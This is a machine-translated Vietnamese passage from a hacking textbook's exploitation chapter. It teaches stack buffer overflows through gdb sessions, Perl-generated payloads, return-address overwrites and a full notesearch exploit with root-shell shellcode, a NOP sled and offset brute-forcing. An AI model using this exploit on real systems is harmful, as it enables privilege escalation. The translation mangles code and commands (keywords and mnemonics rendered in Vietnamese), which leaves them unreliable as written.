ngăn xếp. Các lệnh này được gọi là phần mở đầu của hàm. Hai lệnh đầu tiên dành cho con
trỏ khung đã lưu và lệnh thứ ba trừ 0x38 khỏi ESP. Điều này tiết kiệm 56 byte cho các
biến cục bộ của hàm. Địa chỉ trả về và con trỏ khung đã lưu đã được đẩy vào ngăn xếp
và chiếm 8 byte bổ sung của khung ngăn xếp 64 byte.
Khi hàm hoàn tất, các lệnh leave và ret xóa khung ngăn xếp và đặt thanh ghi con
trỏ thực thi (EIP) thành địa chỉ trả về đã lưu trong khung ngăn xếp (). Điều này đưa
chương trình thực thi trở lại lệnh tiếp theo trong main() sau lệnh gọi hàm tại
0x080484bb. Quá trình này xảy ra mỗi khi một hàm được gọi trong bất kỳ chương trình
nào.
(gdb) x/32xw $esp
0xbffff7a0:
0x00000000
0x08049744
0xbffff7b8
0x080482d9
0xbffff7b0:
0xb7f9f729
0xb7fd6ff4
0xbffff7e8
0x00000000
0xbffff7c0:
0xb7fd6ff4
0xbffff880
0xbffff7e8
0xb7fd6ff4
0xbffff7d0:
0xb7ff47b0
0x08048510
0xbffff7e8
0x080484bb
0xbffff7e0:
0xbffff9b7
0x08048510
0xbffff848
0xb7eafebc
0xbffff7f0:
0x00000002
0xbffff874
0xbffff880
0xb8001898
0xbffff800:
0x00000000
0x00000001
0x00000001
0x00000000
0xbffff810:
0xb7fd6ff4
0xb8000ce0
0x00000000
0xbffff848
132 0x300
Machine Translated by Google
(gdb) tiếp theo
Tiếp tục.
Điểm dừng 3, kiểm tra xác thực (mật khẩu=0xbffff9b7 'A' <lặp lại 30 lần>)
tại auth_overflow2.c:16
trả về auth_flag;
16 (gdb) x/32xw $esp
0xbffff7a0:
0xbffff7c0
0x080485dc
0xbffff7b8
0x080482d9
0xbffff7b0:
0xb7f9f729
0xb7fd6ff4
0xbffff7e8
0x00000000
0xbffff7c0:
0x41414141
0x41414141
0x41414141
0x41414141
0xbffff7d0:
0x41414141
0x41414141
0x41414141
0x08004141
0xbffff7e0:
0xbffff9b7
0x08048510
0xbffff848
0xb7eafebc
0xbffff7f0:
0x00000002
0xbffff874
0xbffff880
0xb8001898
0xbffff800:
0x00000000
0x00000001
0x00000001
0x00000000
0xbffff810:
0xb7fd6ff4
0xb8000ce0
0x00000000
0xbffff848
(gdb) tiếp theo
Tiếp tục.
Chương trình nhận được tín hiệu SIGSEGV, Lỗi phân đoạn.
0x08004141 trong ?? ()
(gdb)
Khi một số byte của địa chỉ trả về đã lưu bị ghi đè, chương trình vẫn sẽ cố gắng sử dụng giá trị
đó để khôi phục thanh ghi con trỏ thực thi (EIP). Điều này thường dẫn đến sự cố, vì thực thi về cơ bản
là nhảy đến một vị trí ngẫu nhiên. Nhưng giá trị này không cần phải ngẫu nhiên. Nếu ghi đè được kiểm
soát, thực thi có thể được kiểm soát để nhảy đến một vị trí cụ thể. Nhưng chúng ta nên bảo nó đi đâu?
0x330 Thử nghiệm với BASH
Vì rất nhiều hoạt động hack bắt nguồn từ khai thác và thử nghiệm, khả năng nhanh chóng thử nhiều thứ
khác nhau là rất quan trọng. BASH shell và Perl phổ biến trên hầu hết các máy và là tất cả những gì
cần thiết để thử nghiệm khai thác.
Perl là ngôn ngữ lập trình được thông dịch với lệnh in đặc biệt phù hợp để tạo ra các chuỗi ký tự
dài.
Perl có thể được sử dụng để thực hiện các hướng dẫn trên dòng lệnh bằng cách sử dụng lệnh chuyển đổi -e
như thế này:
người đọc@hacking:~/booksrc $ perl -e 'in "A" x 20;'
AAAAAAAAAAAAAAAAAAAAAAA
Lệnh này yêu cầu Perl thực thi các lệnh nằm giữa hai dấu ngoặc đơn—trong trường hợp này là một
lệnh duy nhất là print "A" x 20;. Lệnh này in ký tự A 20 lần.
Bất kỳ ký tự nào, chẳng hạn như ký tự không in được, cũng có thể được in bằng cách sử dụng \x##,
trong đó ## là giá trị thập lục phân của ký tự. Trong ví dụ sau, ký hiệu này được sử dụng để in ký tự A,
có giá trị thập lục phân là 0x41.
Khai thác 133
Machine Translated by Google
người đọc@hacking:~/booksrc $ perl -e 'in "\x41" x 20;'
AAAAAAAAAAAAAAAAAAAAAAA
Ngoài ra, việc nối chuỗi có thể được thực hiện trong Perl bằng dấu chấm (.).
Điều này có thể hữu ích khi kết hợp nhiều địa chỉ lại với nhau.
người đọc@hacking:~/booksrc $ perl -e 'in "A"x20 .
"BCD"
. "\x61\x66\x67\x69"x2 . "Z";'
AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ
Toàn bộ lệnh shell có thể được thực thi như một hàm, trả về đầu ra tại chỗ. Điều
này được thực hiện bằng cách bao quanh lệnh bằng dấu ngoặc đơn và thêm tiền tố là dấu
đô la. Sau đây là hai ví dụ:
người đọc@hacking:~/booksrc $ $(perl -e 'print "uname";')
Linux
người đọc@hacking:~/booksrc $ una$(perl -e 'in "m";')e
Linux
người đọc@hacking:~/booksrc $
Trong mỗi trường hợp, đầu ra của lệnh tìm thấy giữa các dấu ngoặc đơn được thay
thế cho lệnh và lệnh uname được thực thi. Hiệu ứng thay thế lệnh chính xác này có thể
được thực hiện bằng dấu trọng âm (`, dấu ngoặc đơn nghiêng trên phím dấu ngã). Bạn có
thể sử dụng bất kỳ cú pháp nào mà bạn cảm thấy tự nhiên hơn; tuy nhiên, cú pháp trong
dấu ngoặc đơn dễ đọc hơn đối với hầu hết mọi người.
reader@hacking:~/booksrc $ u`perl -e 'print "na";'`me
Linux
reader@hacking:~/booksrc $ u$(perl -e 'print "na";')me
Linux
người đọc@hacking:~/booksrc $
Có thể sử dụng kết hợp lệnh thay thế và Perl để nhanh chóng tạo bộ đệm tràn khi
đang chạy. Bạn có thể sử dụng kỹ thuật này để dễ dàng kiểm tra chương trình
overflow_example.c với bộ đệm có độ dài chính xác.
người đọc@hacking:~/booksrc $ ./overflow_example $(perl -e 'in "A"x30')
[TRƯỚC] buffer_two ở 0xbffff7e0 và chứa 'two'
[TRƯỚC] buffer_one ở 0xbffff7e8 và chứa 'one'
Giá trị [TRƯỚC] ở 0xbffff7f4 và là 5 (0x00000005)
[STRCPY] sao chép 30 byte vào buffer_two
[SAU] buffer_two ở 0xbffff7e0 và chứa 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[SAU] buffer_one ở 0xbffff7e8 và chứa 'AAAAAAAAAAAAAAAAAAAAAAAA'
Giá trị [SAU] ở 0xbffff7f4 và là 1094795585 (0x41414141)
Lỗi phân đoạn (lõi bị đổ)
người đọc@hacking:~/booksrc $ gdb -q
(gdb) in 0xbffff7f4 - 0xbffff7e0
1 = 20
134 0x300
Machine Translated by Google
(gdb) thoát
người đọc@hacking:~/booksrc $ ./overflow_example $(perl -e 'in "A"x20 . "ABCD"')
[TRƯỚC] buffer_two ở 0xbffff7e0 và chứa 'two'
[TRƯỚC] buffer_one ở 0xbffff7e8 và chứa 'one'
Giá trị [TRƯỚC] ở 0xbffff7f4 và là 5 (0x00000005)
[STRCPY] sao chép 24 byte vào buffer_two
[SAU] buffer_two ở 0xbffff7e0 và chứa 'AAAAAAAAAAAAAAAAAAAAAAABCD'
[SAU] buffer_one ở 0xbffff7e8 và chứa 'AAAAAAAAAAAAABCD'
Giá trị [SAU] ở 0xbffff7f4 và là 1145258561 (0x44434241)
người đọc@hacking:~/booksrc $
Trong kết quả đầu ra ở trên, GDB được sử dụng như một máy tính thập lục phân để tính toán
ra khoảng cách giữa buffer_two (0xbfffff7e0) và biến giá trị (0xbffff7f4), hóa ra là
20 byte. Sử dụng khoảng cách này, giá trị
biến được ghi đè bằng giá trị chính xác 0x44434241, vì các ký tự A, B, C và D có giá trị hex
lần lượt là 0x41, 0x42, 0x43 và 0x44 . Ký tự đầu tiên là byte ít quan trọng nhất, do kiến trúc
little-endian. Điều này có nghĩa là nếu bạn muốn kiểm soát biến giá trị bằng một giá trị chính
xác, như 0xdeadbeef, bạn phải ghi các byte đó vào bộ nhớ theo thứ tự ngược lại.
người đọc@hacking:~/booksrc $ ./overflow_example $(perl -e 'print "A"x20 . "\xef\xbe\xad\xde"')
[TRƯỚC] buffer_two ở 0xbffff7e0 và chứa 'two'
[TRƯỚC] buffer_one ở 0xbffff7e8 và chứa 'one'
Giá trị [TRƯỚC] ở 0xbffff7f4 và là 5 (0x00000005)
[STRCPY] sao chép 24 byte vào buffer_two
[SAU] buffer_two ở 0xbffff7e0 và chứa 'AAAAAAAAAAAAAAAAAAAAAA??'
[SAU] buffer_one ở 0xbffff7e8 và chứa 'AAAAAAAAAAAA??'
Giá trị [SAU] ở 0xbffff7f4 và là -559038737 (0xdeadbeef)
người đọc@hacking:~/booksrc $
Kỹ thuật này có thể được áp dụng để ghi đè địa chỉ trả về trong chương trình
auth_overflow2.c bằng một giá trị chính xác. Trong ví dụ dưới đây, chúng ta sẽ ghi đè địa
chỉ trả về bằng một địa chỉ khác trong main().
reader@hacking:~/booksrc $ gcc -g -o auth_overflow2 auth_overflow2.c
reader@hacking:~/booksrc $ gdb -q ./auth_overflow2
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) giải tán chính
Bản sao mã trình biên dịch cho hàm main:
0x08048474 <main+0>: đẩy ebp
0x08048475 <main+1>: ebp,esp
di chuyển
0x08048477 <main+3>: esp,0x8 phụ
và
0x0804847a <main+6>: esp,0xfffffff0
0x0804847d <main+9>: eax,0x0
0x08048482 <main+14>: phụ
di chuyển
đặc biệt là eax
0x08048484 <main+16>: cmp
DWORD PTR [ebp+8],0x1
0x08048488 <main+20>: jg
0x80484ab <chính+55>
0x0804848a <main+22>: mov
eax,DWORD PTR [ebp+12]
Khai thác 135
Machine Translated by Google
0x0804848d <main+25>: mov
eax,DWORD PTR [eax]
0x0804848f <main+27>: mov
DWORD PTR [esp+4],eax
0x08048493 <main+31>: mov
DWORD PTR [esp],0x80485e5
0x0804849a <main+38>: gọi 0x804831c <printf@plt>
0x0804849f <main+43>: mov DWORD PTR [esp],0x0
0x080484a6 <main+50>: gọi 0x804833c <exit@plt>
0x080484ab <main+55>: mov eax, DWORD PTR [ebp+12]
0x080484ae <main+58>: thêm eax,0x4
0x080484b1 <main+61>: mov eax, DWORD PTR [eax]
0x080484b3 <main+63>: mov
DWORD PTR [esp],eax
0x080484b6 <main+66>: gọi 0x8048414 <check_authentication>
0x080484bb <main+71>: kiểm tra eax,eax
0x080484bd <main+73>: je
0x080484bf <main+75>: mov
0x80484e5 <chính+113>
DWORD PTR [esp],0x80485fb
0x080484c6 <main+82>: call 0x804831c <printf@plt>
0x080484cb <main+87>: mov
DWORD PTR [esp],0x8048619
0x080484d2 <main+94>: gọi 0x804831c <printf@plt>
0x080484d7 <main+99>: mov
DWORD PTR [esp],0x8048630
0x080484de <main+106>: gọi 0x804831c <printf@plt>
0x80484f1 <chính+125>
0x080484e3 <main+111>: jmp
0x080484e5 <main+113>: mov
DWORD PTR [esp],0x804864d
0x080484ec <main+120>: gọi 0x804831c <printf@plt>
0x080484f1 <main+125>: rời khỏi
0x080484f2 <main+126>: ret Kết
thúc quá trình dump trình biên dịch.
(gdb)
Phần mã này được in đậm chứa các hướng dẫn hiển thị thông báo Access Granted . Phần này bắt đầu
tại 0x080484bf, vì vậy nếu địa chỉ trả về được ghi đè bằng giá trị này, khối hướng dẫn này sẽ được
thực thi. Khoảng cách chính xác giữa địa chỉ trả về và phần bắt đầu của password_buffer có thể thay
đổi do các phiên bản trình biên dịch khác nhau và các cờ tối ưu hóa khác nhau. Miễn là phần bắt đầu
của bộ đệm được căn chỉnh với DWORD trên ngăn xếp, khả năng thay đổi này có thể được giải thích bằng
cách chỉ cần lặp lại địa chỉ trả về nhiều lần. Theo cách này, ít nhất một trong các trường hợp sẽ ghi
đè lên địa chỉ trả về, ngay cả khi nó đã dịch chuyển do tối ưu hóa trình biên dịch.
người đọc@hacking:~/booksrc $ ./auth_overflow2 $(perl -e 'print "\xbf\x84\x04\x08"x10')
-=-=-=-=-=-=-=-=-=-=-=-=-=Đã cấp quyền truy cập.
-=-=-=-=-=-=-=-=-=-=-=-=-=Lỗi phân đoạn (lõi bị đổ)
người đọc@hacking:~/booksrc $
Trong ví dụ trên, địa chỉ đích 0x080484bf được lặp lại 10 lần để đảm bảo địa chỉ trả về được ghi
đè bằng địa chỉ đích mới. Khi hàm check_authentication() trả về, thực thi sẽ nhảy trực tiếp đến địa chỉ
đích mới thay vì quay lại lệnh tiếp theo sau lệnh gọi.
Điều này giúp chúng ta kiểm soát tốt hơn; tuy nhiên, chúng ta vẫn bị giới hạn trong việc sử dụng các
hướng dẫn có sẵn trong chương trình gốc.
136 0x300
Machine Translated by Google
Chương trình notesearch dễ bị tràn bộ đệm ở dòng được đánh dấu in đậm tại đây.
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // Mô tả tập tin
char chuỗi tìm kiếm[100];
nếu(argc > 1)
// Nếu có một đối số
strcpy(searchstring, argv[1]); // đó là chuỗi tìm kiếm;
nếu không // nếu không,
chuỗi tìm kiếm[0] = 0;
// chuỗi tìm kiếm trống.
Lỗ hổng notesearch sử dụng một kỹ thuật tương tự để tràn bộ đệm vào địa chỉ trả về; tuy nhiên, nó
cũng chèn các lệnh của riêng nó vào bộ nhớ và sau đó trả về lệnh thực thi tại đó. Các lệnh này được gọi
là shellcode và chúng yêu cầu chương trình khôi phục các đặc quyền và mở dấu nhắc shell. Điều này đặc
biệt gây thiệt hại cho chương trình notesearch, vì nó là suid root. Vì chương trình này mong đợi quyền
truy cập của nhiều người dùng, nên nó chạy dưới các đặc quyền cao hơn để có thể truy cập tệp dữ liệu của
mình, nhưng logic chương trình ngăn người dùng sử dụng các đặc quyền cao hơn này cho bất kỳ mục đích nào
khác ngoài việc truy cập tệp dữ liệu—ít nhất thì đó là mục đích.
Nhưng khi các lệnh mới có thể được đưa vào và thực thi có thể được kiểm soát bằng tràn bộ đệm,
thì logic của chương trình là vô nghĩa. Kỹ thuật này cho phép chương trình thực hiện những việc mà nó
chưa bao giờ được lập trình để làm, trong khi nó vẫn đang chạy với các đặc quyền nâng cao. Đây là sự
kết hợp nguy hiểm cho phép khai thác notesearch chiếm được root shell. Chúng ta hãy xem xét khai thác sâu
hơn.
reader@hacking:~/booksrc $ gcc -g exploit_notesearch.c
reader@hacking:~/booksrc $ gdb -q ./a.out Sử dụng thư
viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) danh sách 1
1
#include <stdio.h>
2
#include <stdlib.h>
#include <chuỗi.h>
3 4
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
5 6
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
7 8
int main(int argc, char *argv[]) {
9 10
số nguyên không dấu i, *ptr, ret, offset=270;
(gdb)
11
char *lệnh, *bộ đệm;
12
13
lệnh = (char *) malloc(200);
14
bzero(command, 200); // Xóa bộ nhớ mới về 0.
15
16
strcpy(command, "./notesearch \'"); // Bắt đầu bộ đệm lệnh.
17
buffer = command + strlen(command); // Đặt buffer ở cuối.
18
19
if(argc > 1) // Đặt độ lệch.
Khai thác 137
Machine Translated by Google
20
bù trừ = atoi(argv[1]);
(gdb)
21
22
ret = (unsigned int) &i - offset; // Đặt địa chỉ trả về.
23
24
for(i=0; i < 160; i+=4) // Điền địa chỉ trả về vào bộ đệm.
25
*((số nguyên không dấu *)(bộ đệm+i)) = ret;
26
memset(buffer, 0x90, 60); // Xây dựng NOP sled.
27
memcpy(bộ đệm+60, mã shell, sizeof(mã shell)-1);
28
29
strcat(lệnh, "\'");
30
(gdb) phá vỡ 26
Điểm dừng 1 tại 0x80485fa: tệp exploit_notesearch.c, dòng 26.
(gdb) phá vỡ 27
Điểm dừng 2 tại 0x8048615: tệp exploit_notesearch.c, dòng 27.
(gdb) phá vỡ 28
Điểm dừng 3 tại 0x8048633: tệp exploit_notesearch.c, dòng 28.
(gdb)
Lỗ hổng notesearch tạo ra một bộ đệm ở các dòng từ 24 đến 27 (được in đậm ở
trên). Phần đầu tiên là một vòng lặp for điền vào bộ đệm bằng một địa chỉ 4
byte được lưu trữ trong biến ret . Vòng lặp tăng i lên 4 mỗi lần. Giá trị này
được thêm vào địa chỉ bộ đệm và toàn bộ được ép kiểu thành một con trỏ số
nguyên không dấu. Con trỏ này có kích thước là 4, vì vậy khi toàn bộ được giải
tham chiếu, toàn bộ giá trị 4 byte được tìm thấy trong ret sẽ được ghi.
(gdb) chạy
Chương trình khởi động: /home/reader/booksrc/a.out
Điểm dừng 1, chính (argc=1, argv=0xbffff894) tại exploit_notesearch.c:26
26
memset(buffer, 0x90, 60); // xây dựng NOP sled
(gdb) bộ đệm x/40x
0x804a016:
0xbffff6f6
0x804a026: 0xbffff6f6 0xbffff6f6
0x804a046:
0x804a036:
0xbffff6f6 0xbffff6f6 0x804a056:
0xbffff6f6
0x804a066:
0xbffff6f6 0x804a076: 0x804a086:
0xbffff6f6
0xbffff6f6
0x804a096: 0x804a0a6: 0xbffff6f6
x/s
(gdb) lệnh
0x804a008: "./notesearch
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
'¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûû¿ ¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶
"ÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿"
(gdb)
Tại điểm dừng đầu tiên, con trỏ bộ đệm hiển thị kết quả của vòng lặp for. Bạn cũng
có thể thấy mối quan hệ giữa con trỏ lệnh và con trỏ bộ đệm. Lệnh tiếp theo là lệnh gọi đến
memset(), bắt đầu từ đầu bộ đệm và đặt 60 byte bộ nhớ với giá trị 0x90.
138 0x300
Machine Translated by Google
(gdb) tiếp theo
Tiếp tục.
Điểm dừng 2, chính (argc=1, argv=0xbffff894) tại exploit_notesearch.c:27
memcpy(bộ đệm+60, mã shell, sizeof(mã shell)-1); 27
(gdb) bộ đệm x/40x
0x804a016: 0x90909090
0x90909090
0x90909090
0x90909090
0x804a026:
0x90909090
0x90909090
0x90909090
0x90909090
0x804a036:
0x90909090
0x90909090
0x90909090
0x90909090
0x804a046:
0x90909090
0x90909090
0x90909090
0xbffff6f6
0x804a056:
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0x804a066:
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0x804a076:
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0x804a086:
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0x804a096:
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0x804a0a6:
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
(gdb) lệnh x/s "./
notesearch '", '\220' <lặp lại 60 lần>, "¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¿ 0x804a008:
¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¶ûÿ¿¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûûÿ¿ ¶ûÿ¿¶ûÿ¿"
(gdb)
Cuối cùng, lệnh gọi memcpy() sẽ sao chép các byte shellcode vào bộ đệm + 60.
(gdb) tiếp theo
Tiếp tục.
Điểm dừng 3, chính (argc=1, argv=0xbffff894) tại exploit_notesearch.c:29
29
strcat(lệnh, "\'");
(gdb) bộ đệm x/40x
0x804a016: 0x90909090
0x90909090
0x90909090
0x90909090
0x804a026:
0x90909090
0x90909090
0x90909090
0x90909090
0x804a036:
0x90909090
0x90909090
0x90909090
0x90909090
0x804a046:
0x90909090
0x90909090
0x90909090
0x3158466a
0x804a056:
0xcdc931db
0x2f685180
0x6868732f
0x6e69622f
0x804a066:
0x5351e389
0xb099e189
0xbf80cd0b
0xbffff6f6
0x804a076:
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0x804a086:
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0x804a096:
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
0x804a0a6:
0xbffff6f6
0xbffff6f6
0xbffff6f6
0xbffff6f6
(gdb) lệnh x/s
0x804a008:
"./notesearch '", '\220' <lặp lại 60 lần>, "1À1Û1É\231°¤Í\200j\vXQh//shh/
bin\211ãQ\211âS\211áÍ\200¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûû¿ ¶ûÿ¿¶ ûÿ¿¶ûÿ¿¶ûÿ¿"
(gdb)
Bây giờ bộ đệm chứa shellcode mong muốn và đủ dài để ghi đè địa chỉ trả về. Khó
khăn trong việc tìm vị trí chính xác của địa chỉ trả về được giảm bớt bằng cách sử dụng
kỹ thuật địa chỉ trả về lặp lại. Nhưng địa chỉ trả về này phải trỏ đến shellcode nằm
trong cùng một bộ đệm.
Điều này có nghĩa là địa chỉ thực tế phải được biết trước, thậm chí trước khi nó đi
vào bộ nhớ. Đây có thể là một dự đoán khó khăn để cố gắng thực hiện với một ngăn xếp
thay đổi động. May mắn thay, có một kỹ thuật hack khác,
Khai thác 139
Machine Translated by Google
được gọi là NOP sled, có thể hỗ trợ cho trò gian lận khó khăn này. NOP là một lệnh
lắp ráp viết tắt của no operation. Đây là một lệnh một byte không làm gì cả. Những
lệnh này đôi khi được sử dụng để lãng phí các chu kỳ tính toán cho mục đích tính
thời gian và thực sự cần thiết trong kiến trúc bộ xử lý Sparc, do đường ống lệnh.
Trong trường hợp này, các lệnh NOP sẽ được sử dụng cho một mục đích khác: như một
yếu tố làm sai lệch.
Chúng ta sẽ tạo một mảng lớn (hoặc sled) các lệnh NOP này và đặt nó trước
shellcode; sau đó, nếu thanh ghi EIP trỏ đến bất kỳ địa chỉ nào được tìm thấy trong
NOP sled, nó sẽ tăng lên trong khi thực thi từng lệnh NOP, từng lệnh một, cho đến
khi cuối cùng nó đạt đến shellcode. Điều này có nghĩa là miễn là địa chỉ trả về
được ghi đè bằng bất kỳ địa chỉ nào được tìm thấy trong NOP sled, thanh ghi EIP sẽ
trượt xuống sled đến shellcode, shellcode sẽ thực thi đúng cách.
Trên kiến trúc x86, lệnh NOP tương đương với byte hex 0x90. Điều này có nghĩa là
bộ đệm khai thác hoàn chỉnh của chúng tôi trông giống như thế này:
Xe trượt tuyết NOP
Mã vỏ
Địa chỉ trả lời lặp lại
Ngay cả với NOP sled, vị trí gần đúng của bộ đệm trong bộ nhớ phải được dự đoán trước. Một kỹ thuật
để ước tính vị trí bộ nhớ là sử dụng vị trí ngăn xếp gần đó làm khung tham chiếu. Bằng cách trừ một
offset khỏi vị trí này, có thể thu được địa chỉ tương đối của bất kỳ biến nào.
Từ exploit_notesearch.c
số nguyên không dấu i, *ptr, ret, offset=270;
char *lệnh, *bộ đệm;
lệnh = (char *) malloc(200);
bzero(command, 200); // Xóa bộ nhớ mới về 0.
strcpy(command, "./notesearch \'"); // Bắt đầu bộ đệm lệnh.
buffer = command + strlen(command); // Đặt buffer ở cuối.
if(argc > 1) // Đặt độ lệch.
bù trừ = atoi(argv[1]);
ret = (unsigned int) &i - offset; // Đặt địa chỉ trả về.
Trong khai thác notesearch, địa chỉ của biến i trong khung ngăn xếp main()
được sử dụng làm điểm tham chiếu. Sau đó, một độ lệch được trừ khỏi giá trị đó;
kết quả là địa chỉ trả về mục tiêu. Độ lệch này trước đây được xác định là 270,
nhưng con số này được tính như thế nào?
Cách dễ nhất để xác định độ lệch này là thực nghiệm. Trình gỡ lỗi
sẽ dịch chuyển bộ nhớ một chút và sẽ hủy bỏ các đặc quyền khi chương trình suid root notesearch được
thực thi, khiến việc gỡ lỗi ít hữu ích hơn nhiều trong trường hợp này.
140 0x300
Machine Translated by Google
Vì lỗ hổng notesearch cho phép sử dụng đối số dòng lệnh tùy chọn để xác định
độ lệch, nên có thể nhanh chóng kiểm tra các độ lệch khác nhau.
reader@hacking:~/booksrc $ gcc exploit_notesearch.c
reader@hacking:~/booksrc $ ./a.out 100
-------[ kết thúc dữ liệu ghi chú ]----người đọc@hacking:~/booksrc $ ./a.out 200
-------[ kết thúc dữ liệu ghi chú ]----người đọc@hacking:~/booksrc $
Tuy nhiên, thực hiện thủ công thì rất tẻ nhạt và ngu ngốc. BASH cũng có vòng
lặp for có thể được sử dụng để tự động hóa quá trình này. Lệnh seq là một chương
trình đơn giản tạo ra các chuỗi số, thường được sử dụng với vòng lặp.
người đọc@hacking:~/booksrc $ seq 1 10
1
2
3
4
5
6
7
8
9
10
người đọc@hacking:~/booksrc $ seq 1 3 10
1
4
7
10
người đọc@hacking:~/booksrc $
Khi chỉ sử dụng hai đối số, tất cả các số từ đối số đầu tiên đến đối số thứ
hai đều được tạo ra. Khi sử dụng ba đối số, đối số ở giữa sẽ quyết định tăng bao
nhiêu mỗi lần. Điều này có thể được sử dụng với lệnh thay thế để điều khiển vòng
lặp for của BASH.
reader@hacking:~/booksrc $ cho i trong $(seq 1 3 10)
> làm
> echo Giá trị là $i
> xong
Giá trị là 1
Giá trị là 4
Giá trị là 7
Giá trị là 10
người đọc@hacking:~/booksrc $
Khai thác
141
Machine Translated by Google
Chức năng của vòng lặp for phải quen thuộc, ngay cả khi cú pháp có hơi khác một chút. Biến
shell $i lặp qua tất cả các giá trị được tìm thấy trong dấu huyền (do seq tạo ra). Sau đó, mọi thứ
giữa các từ khóa do và done đều được thực thi. Điều này có thể được sử dụng để kiểm tra nhanh nhiều
offset khác nhau. Vì NOP sled dài 60 byte và chúng ta có thể trả về bất kỳ vị trí nào trên sled, nên có
khoảng 60 byte không gian dao động. Chúng ta có thể tăng vòng lặp offset một cách an toàn với bước 30
mà không có nguy cơ bỏ lỡ sled.
reader@hacking:~/booksrc $ cho i trong $(seq 0 30 300)
> làm
> echo Thử offset $i
> ./a.ra $i
> xong
Đang thử bù trừ 0
[DEBUG] tìm thấy một ghi chú 34 byte cho ID người dùng 999
[DEBUG] tìm thấy ghi chú 41 byte cho ID người dùng 999
Khi sử dụng offset bên phải, địa chỉ trả về được ghi đè bằng giá trị trỏ đến một nơi nào đó
trên NOP sled. Khi thực thi cố gắng quay lại vị trí đó, nó sẽ chỉ trượt xuống NOP sled vào các lệnh
shellcode được tiêm. Đây là cách giá trị offset mặc định được phát hiện.
0x331 Sử dụng Môi trường
Đôi khi bộ đệm sẽ quá nhỏ để chứa cả shellcode. May mắn thay, có những vị trí khác trong bộ nhớ nơi
shellcode có thể được lưu trữ. Các biến môi trường được shell người dùng sử dụng cho nhiều mục đích khác
nhau, nhưng mục đích sử dụng của chúng không quan trọng bằng việc chúng nằm trên ngăn xếp và có thể được
đặt từ shell. Ví dụ bên dưới đặt một biến môi trường có tên là MYVAR thành chuỗi test. Biến môi trường
này có thể được truy cập bằng cách thêm dấu đô la vào trước tên của nó. Ngoài ra, lệnh env sẽ hiển thị
tất cả các biến môi trường. Lưu ý rằng có một số biến môi trường mặc định đã được đặt.
reader@hacking:~/booksrc $ export MYVAR=test
người đọc@hacking:~/booksrc $ echo $MYVAR
Bài kiểm tra
reader@hacking:~/booksrc $ env
SSH_AGENT_PID=7531
VỎ=/bin/bash
ID KHỞI ĐỘNG MÁY TÍNH=
HẠN=xterm
GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/.gtkrc-1.2-gnome2
CỬA SỔID=39845969
OLDPWD=/trang chủ/người đọc
NGƯỜI DÙNG=người đọc
LS_COLORS=không=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:hoặc=4
0;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31: *.tgz=01;31:*.arj=01;
31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31: *.bz2=01;31:*.deb=01;31:*
.rpm=01;31:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35
